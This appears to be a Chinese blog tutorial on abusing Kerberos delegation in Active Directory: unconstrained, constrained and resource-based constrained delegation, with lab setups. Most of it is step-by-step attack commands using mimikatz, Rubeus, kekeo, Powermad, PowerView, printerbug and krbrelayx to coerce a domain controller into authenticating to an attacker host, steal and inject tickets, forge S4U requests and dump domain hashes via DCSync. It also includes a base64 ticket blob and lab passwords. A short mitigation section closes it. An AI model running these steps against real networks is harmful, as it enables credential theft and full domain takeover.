收容部 封闭的阈域

约束委派 委派 : 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。 简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派 委派的方式: 非约束委派、约束委派和基于资源的约束委派 在域内只有主机账号和服务账号才有委派属性

约束委派

委派: 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。 简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派

委派的方式:
非约束委派、约束委派和基于资源的约束委派

在域内只有主机账号和服务账号才有委派属性。域控制器主机账户默认开启非约束性委派
主机账号:活动目录中的computers组内的计算机,也被称为机器账号(一个普通域用户默认最多可以创建十个主机账号) ;
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL。域用户账户通过注册SPN也能成为服务账号

注意:被委派的用户不能被设置为不能委派属性

一. 非约束性委派

1.1 原理

利用原理
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户

1.2 查找非约束委派的主机或者服务账户

1.利用powersploit中的powerview

#导入模块
Import-Module .\PowerView.ps1
#查询非约束委派的主机 
Get-NetComputer -Unconstrained -Domain qaq.com
#查询非约束委派的服务账号 
Get-NetUser -Unconstrained -Domain baidu.com | select name

2.利用ADFind

#查找域中配置非约束委派的用户 
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置非约束委派的主机 
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3.利用ldapsearch

#查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查找域中配置非约束委派的主机
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

1.3 利用

  • 设置非约束委派属性

将test5主机账户设置为非约束委派

设置完成后,打开adsiedit.msc adsi编辑器查看机器属性,可以看到:
当被设置为非约束委派的时候,它的userAccountControl属性中会包含TRUSTED_FOR_DELEGATION字段

1.2.1 非约束委派模拟域管权限

靶机环境

  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • 域内主机:test5-win12(192.168.10.12)

1.域控使用kerberos协议认证方式访问test5主机的cifs服务
由于test5主机被设置为非约束委派,所以client(域控)会把当前登录域管账户的TGT放在ST中一起发给server端 test5主机,test5机器会把TGT存储在lsass进程中

2.在test5主机上,用mimikatz导出lsass进程中的票据

privilege::debug
#导出票据
sekurlsa::tickets /export


随后将域管的票据注入内存中

kerberos::ptt [0;11eeaa]-2-0-60810000-Administrator@krbtgt-HIRO.COM.kirbi


3.获取域管权限后,dcsync


1.2.2 非约束委派+spooler打印机组合利用

因为非束委派常规利用比较鸡肋,必须要域管主动与配置了委派的机器建立连接,所以有国外的大佬研究出了非约束委派+spooler打印机服务 强制域控与指定的主机进行连接

利用原理: 利用Windows打印系统远程协议 (MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
printer bug:任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。微软表示这个打印机bug是系统设计特点,无需修复。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务(域控)向目标发起kerberos认证请求,从而拿到域控机器用户的凭证。
注意:在server 2008全版本以及server 2012中即使启用了Printer Spool服务,也依然无法访问到spoolss命名管道,因为它不在RPC中暴露该服务。因此,实战中需要server 2012 R2域控才可以利用Printer Spool服务进行中继。回连的用户是目标机器用户的凭证

域控默认启用print spooler打印机服务:

使用SpoolSample进行利用

((SpoolSample需要.net4框架4.0支持,因此实战中使用printerbug脚本利用打印机服务触发回连较为常用)
使用本地管理员身份运行Rubeus来监听事件id为4624的事件,然后时间设置为1秒,可以截取到域控的TGT。

#每隔一秒监听一次来自test$用户(域控机器用户)的登陆(需要本地管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:test$

然后通过SpoolSample.exe向域控发起请求
https://github.com/leechristensen/SpoolSample

#SpoolSample.exe 域控主机 目标主机
#注意要使用机器主机名
SpoolSample.exe DC MSSQL

(ps:本地由于环境因素没有复现成功,这里记录一下其他大佬的截图过程,方便学习:)

Rubeus监听到来自域控机器账户的TGT
(ps:这里也可使用mimikatz dump lsass进程的TGT)

复制监听到的TGT的base64

doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM

再Rubeus导入base64的票据直接注入进内存

Rubeus.exe ptt /ticket:base64

使用printerbug进行利用(远程利用)

环境配置

靶场环境

  • 域名:qaq.com
  • 网段:192.168.10/24
  • 域控:test(192.168.10.250)
  • kali(非域成员机器):192.168.10.25
  • 域用户(非约束委派属性且拥有spn权限):admin/Aa123456

注意:普通域用户无约束委派属性,所以要先将域用户admin添加spn成为服务账户:

setspn.exe -U -A VNC/comp.qaq.com admin


配置域用户拥有添加spn属性的权限。因为后面利用的时候需要创建指向回连主机的spn,使域控能中继到指定主机:
(ps:一般非约束委派域用户,都拥有写spn属性的权限)
打开adsi编辑器adsiedit.msc:

利用

https://github.com/dirkjanm/krbrelayx

  1. 添加Spn。目的是创建指向回连主机的spn

#ldap://192.168.10.250:为域控ip
python3 addspn.py -u "qaq.com\admin" -p "Aa123456" HOST/whatthefuck.qaq.com ldap://192.168.10.250

  1. 添加dns记录。目的是为了将whatthefuck.qaq.com域名指向回连主机IP:

#-d:解析的回连主机ip 域控IP
python3 dnstool.py -u "qaq.com\admin" -p "Aa123456" -r whatthefuck.qaq.com  -a add -d 192.168.10.25 192.168.10.250


成功后,查看dns服务器,可以看到已经添加成功。执行成功后需要等3分钟左右:

  1. 监听80端口,开启中继:

#-s:域名+域用户
python3 krbrelayx.py -p "Aa123456." -s TEST.COMadmin


也可以在94行添加c.setListeningPort(12138),修改监听的端口:

  1. 执行printerbug脚本,利用域控上的打印机服务强制使域控连接指定主机:
    (ps:也可以中继到windows主机,然后使用mimikatzdump lsass进程中缓存的票据)

#192.168.60.138为域控ip
#whatthefuck.domain1.com为设置的域名
#也可以使用hash认证,-hashes
python3 printerbug.py qaq.com/admin:"Aa123456"@192.168.60.138 whatthefuck.domain1.com

随后kali 会收到域控的kerberos认证请求,会生成域管用户的TGT票据

  1. 利用域管用户的tgt dcsync:
    在/etc/hosts文件中添加如下两行记录用于解析域控制器的域名:

#域控ip 域控制器域名
192.168.164.147 ad.test.com
192.168.164.147 test.com

使用票据导出hash

#设置KRB5CCNAME变量为生成的域管用户票据
export KRB5CCNAME=xxx.ccache
#发起kerberos认证,进行dcsync导出hash
python3 /root/impacket/examples/secretsdump.py -k ad.test.com -just-dc-user administrator

使用dementor进行利用

对于Linux,可以使用NetNTLMtoSilverTicket项目中的dementor.py脚本利用打印机漏洞触发回连

python dementor.py -d domain -u username -p password 回连ip 目标ip

杀软会拦截SMB请求

二.约束性委派

2.1 原理

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
S4U2self:使用用户的TGT向KDC请求可以转发的Kerberos服务票据(ST1),用于发起S4U2proxy请求。服务也可以调用S4U2Self来要求身份认证服务(kdc)为任意用户生成访问该服务的st1,用于响应其他方式认证的用户请求(非kerberos)的授权需求。例如:网站A服务器可以向KDC请求一张用户B访问A服务的ST1,A服务用这张ST1去发起S4U2proxy请求
S4U2proxy:使用ST1票据请求KDC生成访问其他服务的ST2

大致流程:
1.user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问;
2.如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;
3.域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能使用获得的ST2服务票据访问服务B;

利用场景
从攻击者的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

2.2 筛选约束性委派账号

ldapsearch

#查找域中配置约束委派服务用户
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

ADFind

#查找域中配置约束委派服务用户:
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2.3 利用

环境配置

设置域内主机对域控基于cifs服务的资源委派

当被配置了约束委派的账户的userAccountControl属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派


靶场环境

  • 域名:qaq.com
  • 域控:test(192.168.10.250)
  • 域成员机器:test1-2008(192.168.10.31),配置对域控基于cifs服务的资源委派

利用

  1. 请求账户(约束委派账户)的TGT,目的是使用S4U2Self协议申请域管用户访问该机器的st1:
    (PS:如果已拥有TGT可跳过这一步)

获取2008机器账户的密码或者HASH:

使用kekeo请求kdc生成账户的TGT
https://github.com/gentilkiwi/kekeo

#拥有明文密码
tgt::ask /user:win7 /domain:hiro.com /password:123456QWE.
#拥有hash
tgt::ask /user:win7 /domain:hiro.com /NTLM:xxxx


2. 然后通过TGT伪造s4u请求,以域管理员administrator身份请求访问域控 cifs服务的ST2:

这里包含二步:
1.使用约束委派账户的TGT,以使用S4U2Self协议请求kdc生成域管用户访问自身服务(test1-2008)的可转发的票据st1;
2.test1-2008服务利用st1票据使用S4U2Proxy协议,以域管理员用户的名义请求一张访问域控的CIFS服务的ST2票据

#使用kekeo发起s4u请求
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

会生成S4U2Self获取到的ST1和S4U2Proxy获取到的访问dc CIFS服务的st2

  1. 注入票据

#使用mimikatz 注入st2票据
kerberos::ptt TGS_Administrator@redteam.local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi


三.基于资源的约束委派

3.1 原理

基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身–基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
也就是说,设置机器b的主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity字段)允许服务A委派到服务B,后者服务A就能通过S4U2Self请求生成服务B访问服务A的ST1,然后通过S4U2Proxy请求利用st1生成访问服务B的st2。不同与约束委派,需要域管权限才能设置约束属性,基于资源性约束委派只需要拥有主机属性的修改权限就行
基于资源的约束委派只能在运行 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域

攻击场景

获得的用户对主机A的机器属性具有写权限,那么可以配置主机A的机器属性从而获取主机A的权限。一般计算机加入域时,加入域的域用户对该域机器账户拥有写权限。在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户,那么当我们拿下该加入域环境的域用户账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下.

利用场景

  • 获取权限
  • 权限维持
  • 提权

3.2 利用

靶场环境

  • 域名:qaq.org

  • 域控:test5-2012(192.168.11.250)

  • 域成员机器:test4-win7(192.168.11.5)

  • 域用户(拥有写test4-win7主机属性的权限):test/Aa123456

  • 域成员机器:test7-win7(192.168.11.6)

  • 新创建的主机账户:test$/Aa123456

通过配置test4-win7的机器属性,将test4-win7资源性约束委派给test账户。后者test主机服务就能通过s4u请求申请test用户访问test4-win7主机服务的st2

查询对域内主机机器属性具有写入权限的域用户

即:查询域内主机是由那个域用户加入域的

  1. 查询域主机账户的mS-DS-CreatorSID 属性中的sid值,这个sid值代表这台机器是由那个域用户加入域环境:
    (Ps:如果mS-DS-CreatorSID属性为空则代表这台机器上由域管用户加入域环境)

#使用AdFind查询属性
AdFind.exe -h 10.0.0.12 -u test -up admin!@#45 -b "DC=qaq,DC=org" -f "objectClass=computer" mS-DS-CreatorSID
AdFind.exe -b "DC=qaq,DC=org" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

  1. 查询这个sid对应哪个域用户:

#使用AdFind查询属性
AdFind.exe -b "DC=qaq,DC=org" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
#使用sid2user查询属性
sid2user.exe \\10.0.0.12 5 21 3258976832 1609833424 2410015844 110

(ps:注意查询出来的是账户全名)


另外在获得一个域用户账户的时候,同样可以利用域账户的SID查询域内那些机器是由该账户加入域的:

AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory


设置资源性委派属性

  1. 使用域用户创建机器用户,默认一个域用户可以创建10个机器用户名:

因为需要设置目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity 的值为创建的机器用户的sid值,后面利用创建的机器用户使用s4u申请访问目标机器的st2。即:设置目标机器资源性约束委派给创建的机器用户
利用 powermad 添加机器账户
https://github.com/Kevin-Robertson/Powermad

#设置允许运行脚本
set-executionpolicy -executionpolicy unrestricted  
Import-Module .\Powermad.ps1
#添加名为test的机器用户,密码Aa123456
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "Aa123456" -AsPlainText -Force)


使用powerview查看域机器账户的sid:
即:账户的object Sid属性值

Import-Module .\powerview.ps1
Get-DomainComputer -Identity win10system

  1. 修改目标主机win7的机器账户msDS-AllowedToActOnBehalfOfOtherIdentity属性值为创建的机器账户test的sid值,即:配置test账号到win7的资源性委派:

使用powerview修改机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3258976832-1609833424-2410015844-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer test4-win7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose


可查看msDS-AllowedToActOnBehalfOfOtherIdentity属性验证是否修改成功

Get-DomainComputer test4-win7  msds-allowedtoactonbehalfofotheridentity



清除 msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

发起s4u请求

  1. 利用rubues使用明文密码生成对应的hash:

Rubeus.exe hash /user:xx /password:Aa123456 /domain:qaq.org

  1. 使用rubues发起s4u请求:

这里包含二步:
1.利用创建的机器账户,以使用S4U2Self协议请求kdc生成目标账户(test)访问自身服务(创建的机器账户服务)的可转发的票据st1;
2.随后机器账户服务利用st1票据使用S4U2Proxy协议,以test用户的名义请求一张访问test4-win7的CIFS服务的ST2票据
(ps:如果没有配置资源性的约束委派,第二步S4U2Proxy协议转发St1票据的时候kdc会拒绝)

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt



另外,也可以使用impacket的getST.py发起s4u请求生成票据st2,会在当前目录下生成 test.ccache 文件:

python3 getST.py -dc-ip 192.168.11.250 -spn cifs/test4-win7.qaq.org  -impersonate test  qaq.org/test$:Aa123456

之后使用 mimikatz 导入票据
也可以通过设置KRB5CCNAME环境变量,配合impacket 中的pse脚本直接进行利用:

#设置环境变量
set KRB5CCNAME=test.ccache
python3 wmiexec.py -no-pass -k test@test4-win7.qaq.org  -dc-ip 192.168.11.250

四.缓解措施

1.高权限账号设置禁止委派属性:

2.微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012:

Ref

https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw
https://www.crisprx.top/archives/429#_Spooler
https://blog.csdn.net/qq_43645782/article/details/118762916
https://www.crisprx.top/archives/429#i-11
https://cloud.tencent.com/developer/article/1899592
https://mp.weixin.qq.com/s/aM2k01N6_H5FOxoEyj39LA

知秋君
上一篇 2024-07-10 22:12
下一篇 2024-07-10 21:48

相关推荐